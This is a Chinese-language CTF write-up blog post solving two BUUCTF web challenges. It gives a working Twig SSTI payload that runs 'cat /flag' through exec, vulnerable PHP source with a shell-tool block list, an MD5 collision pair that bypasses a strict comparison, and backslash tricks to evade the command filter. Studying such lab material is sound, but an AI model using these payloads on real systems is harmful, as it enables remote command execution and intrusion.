[CTF]WriteUp第6篇

[BJDCTF2020]Cookie is so stable

思路

从题目中获得提示要关注cookie

解题

试了一下,是SSTI注入

PHP7.3.13,那么挨个试试,应该是Twig,形如{{2+2}}的格式
找个注入payload就行:
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat /flag")}}

注意

SSTI注入知识点 – lingye的个人blog


[安洵杯 2019]easy_web

思路

查看页面信息,发现两处base64编码,一处在URL里面,一处在img的src里面。

对URL里面的TXpVek5UTTFNbVUzTURabE5qYz0进行解码,结果为MzUzNTM1MmU3MDZlNjc=
疑似base64,继续解码为3535352e706e67
可能是16进制,转换一下,变成555.png

src里面的解码出来是png图片信息

解题

先看看index.php的源码能不能看到

http://647b1984-43f6-4fc1-9115-1416603d197a.node5.buuoj.cn:81/
index.php?img=TmprMlpUWTBOalUzT0RKbE56QTJPRGN3&cmd=

能看到

<?php
error_reporting(E_ALL || ~ E_NOTICE);
header('content-type:text/html;charset=utf-8');
$cmd = $_GET['cmd'];
if (!isset($_GET['img']) || !isset($_GET['cmd'])) 
    header('Refresh:0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=');
$file = hex2bin(base64_decode(base64_decode($_GET['img'])));

$file = preg_replace("/[^a-zA-Z0-9.]+/", "", $file);
if (preg_match("/flag/i", $file)) {
    echo '<img src ="./ctf3.jpeg">';
    die("xixi~ no flag");
} else {
    $txt = base64_encode(file_get_contents($file));
    echo "<img src='data:image/gif;base64," . $txt . "'></img>";
    echo "<br>";
}
echo $cmd;
echo "<br>";
if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) {
    echo("forbid ~");
    echo "<br>";
} else {
    if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {
        echo `$cmd`;
    } else {
        echo ("md5 is funny ~");
    }
}

?>
...

要绕过正则过滤,以及找到md5强类型的绕过

# 正则
http://647b1984-43f6-4fc1-9115-1416603d197a.node5.buuoj.cn:81/
index.php?img=TmprMlpUWTBOalUzT0RKbE56QTJPRGN3&cmd=dir
# POST
a=	%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2&b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2

之后反复用\绕过就行

http://647b1984-43f6-4fc1-9115-1416603d197a.node5.buuoj.cn:81/
index.php?img=TmprMlpUWTBOalUzT0RKbE56QTJPRGN3&cmd=dir%20/

http://647b1984-43f6-4fc1-9115-1416603d197a.node5.buuoj.cn:81/
index.php?img=TmprMlpUWTBOalUzT0RKbE56QTJPRGN3&cmd=ca\t%20/flag

注意

我反复试这个a和b都不能成功,后来发现是少了这个请求头:
Content-Type: application/x-www-form-urlencoded
需要标记内容是url编码后的!

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇